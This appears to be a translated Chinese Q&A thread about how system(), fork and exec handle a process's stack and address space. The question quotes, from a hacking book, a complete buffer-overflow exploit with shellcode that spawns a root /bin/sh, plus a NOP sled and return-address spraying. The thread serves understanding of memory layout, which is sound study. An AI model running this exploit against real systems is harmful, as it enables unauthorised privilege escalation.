3

我对 Linux 系统调用 System() 和堆栈有疑问。让我们假设我们有:

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char* argv[]) {
   char buff[] = "/usr/bin/ls"
   system(buff);
   return 0;
}

现在,由于 system() 函数创建了一个 fork() 然后是一个 execl(),我的问题是:新进程的堆栈放置在上述 main() 的附近,或者它可以在任何地方记忆?更一般地说:在这个简单的例子中,main() 堆栈会发生什么?

此外,如果 main() 是:

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char* argv[]) {
   char buff[] = "/usr/bin/ls"
   execl(buff, 0);
   return 0;
}

在这种情况下,由于没有调用 fork(),因此函数 execl() 的堆栈应该定期放置在 main() 的正上方,对吧?

编辑:如果系统()执行的主进程和进程之间的虚拟地址空间不同,为什么这应该起作用:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";

int main(int argc, char *argv[]) {
  unsigned int i, *ptr, ret, offset=270;
  char *command, *buffer;
  command = (char *) malloc(200);
  bzero(command, 200); // Zero out the new memory.

  strcpy(command, "./notesearch \'"); // Start command buffer.
  buffer = command + strlen(command); // Set buffer at the end.

  if(argc > 1) // Set offset.
     offset = atoi(argv[1]);

  ret = (unsigned int) &i - offset; // Set return address.

  for(i=0; i < 160; i+=4) // Fill buffer with return address.
     *((unsigned int *)(buffer+i)) = ret;

  memset(buffer, 0x90, 60); // Build NOP sled.
  memcpy(buffer+60, shellcode, sizeof(shellcode)-1);

  strcat(command, "\'");

  system(command); // Run exploit.
  free(command);
}

我在一本关于黑客攻击的书上找到了它。这段代码仅仅是对缓冲区溢出的利用。它的目的是运行一个带有 ad-hoc 参数的易受攻击的程序 bof,该参数能够利用 bof,并运行 shellcode。

新进程中注入的 shellcode 的地址,是使用局部变量(示例中为 unsgned int i)的地址作为基数和偏移量获得的。但这只有在两个进程的虚拟地址空间相同时才有效,对吧?

4

1 回答 1

4

使用时exec,进程的所有内存都会被替换。堆栈,堆,一切。包含的原始堆栈buff不再存在。

system调用由 afork和 a组成exec。Afork创建一个新进程,它是原始进程的副本。然后exec替换新进程的内存。

使用 an 时exec,会创建一个新的进程地址空间。该地址空间由内核管理的各种空闲内存块组装而成。这是一个新的虚拟地址空间。新进程的物理内存与旧进程的关系正是内核决定的。但由于新地址空间是虚拟的,它与父进程的地址空间无关。即使您知道buff父进程中的地址并且可以将该地址传递给子进程,该地址对子进程也没有任何意义。

于 2013-08-30T12:53:53.683 回答